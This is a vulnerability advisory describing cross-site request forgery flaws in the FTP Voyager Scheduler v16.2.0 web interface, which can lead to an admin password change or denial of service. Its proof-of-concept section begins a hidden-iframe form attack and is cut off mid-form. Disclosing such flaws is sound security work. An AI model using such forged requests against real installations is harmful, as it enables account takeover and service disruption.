Vendor:
==============

www.serv-u.com



Product:
====================
FTP Voyager Scheduler
v16.2.0



Vulnerability Type:
=============================
CSRF Remote Command Execution



CVE Reference:
==============
N/A



Security Issue:
================
Multiple cross site request forgeries exist in the Web Interface side of
FTP Voyager Scheduler running on port 52986.
Allowing remote attackers to make HTTP requests on behalf of an
authenticated user if that user visits a malicious
webpage or clicks an attacker supplied link.

FTP Voyager has a scheduler feature that lets users create tasks/commands
to execute on some type of other action like
when Directorys are created, files uploaded/downloader, Scheduler starts or
stops and so forth. Remote attackers who
successfully pull off CSRF exploitation can do things like change the Admin
password or cause a persistent Denial of Service
by setting the task to terminate "FTP Voyager Scheduler" itself upon
startup among other nefarious things.




Exploit/POC:
=============

Default login no password, then set a password in FTP Voyager Scheduler Web
interface.

Upon CSRF the user will get a HTTP Response will be like below, we can
prevent user from seeing this message
targeting hidden iframe in webpage.

<response><result>0</result><ResultText>Operation was
successful.</ResultText><ObjectID>141175</ObjectID></response>



1) Change Admin passwd

<iframe name="hideme" style="display:none" ></iframe>

<form target="hideme" action="
